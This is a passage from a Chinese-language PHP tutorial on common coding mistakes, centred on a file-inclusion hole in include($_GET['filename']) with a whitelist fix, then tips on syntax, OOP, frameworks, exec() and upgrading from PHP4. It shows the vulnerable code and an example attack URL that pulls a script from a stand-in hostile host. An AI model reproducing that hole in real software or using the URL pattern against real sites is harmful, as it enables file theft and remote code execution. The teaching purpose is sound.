background image

index.php
<?
//including header, config, database connection, etc
include($_GET['filename']);
//including footer
?>
现在任一个黑客现在都可以用

:http://www.yourdomain.com/index.php?filename=anyfile.txt

来获取你的机密信息,或执行一个

PHP 脚本。

如果

allow_url_fopen=On,你更是死定了:

试试这个输入:

http://www.yourdomain.com/index

. … n.com%2Fphphack.php

现在你的网页中包含了

http://www.youaredoomed.com/phphack.php

输出

. 黑客可以发送垃

圾邮件,改变密码,删除文件等等。只要你能想得到。
如何修复:
你必须自己控制哪些文件可以包含在的

include 或 require 指令中。

下面是一个快速但不全面的解决方法:
<?
//Include only files that are allowed.
$allowedFiles = array(’file1.txt’,'file2.txt’,'file3.txt’);
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['filename']);
}
else{
exit(’not allowed’);
}
?>
5. 语法错误
语法错误包括所有的词法和语法错误,太常见了,以至于我不得不在这里列出。解决办法就
是认真学习

PHP 的语法,仔细一点不要漏掉一个括号,大括号,分号,引号。还有就是换

个好的编辑器,就不要用记事本了!
6.很少使用或不用面向对象
很多的项目都没有使用

PHP 的面向对象技术,结果就是代码的维护变得非常耗时耗力 。

PHP 支持的面向对象技术越来越多,越来越好,我们没有理由不使用面向对象。
7. 不使用 framework
95% 的 PHP 项目都在做同样的四件事: Create, edit,list 和 delete. 现在有很多 MVC 的框架来
帮我们完成这四件事,我们为何不使用他们呢?
8. 不知道 PHP 中已经有的功能
PHP 的核心包含很多功能。很多程序员重复的发明轮子。浪费了大量时间。编码之前搜索一下
PHP mamual,在 google 上检索一下,也许会有新的发现!PHP 中的 exec()是一个强大的函
数,可以执行

cmd shell,并把执行结果的最后一行以字符串的形式返回。考虑到安全可以

使用

EscapeShellCmd()

9.使用旧版本的 PHP
很多程序员还在使用

PHP4,在 PHP4 上开发不能充分发挥 PHP 的潜能,还存在一些安全的

隐患。转到

PHP5 上来吧,并不费很多功夫。大部分 PHP4 程序只要改动很少的语句甚至无需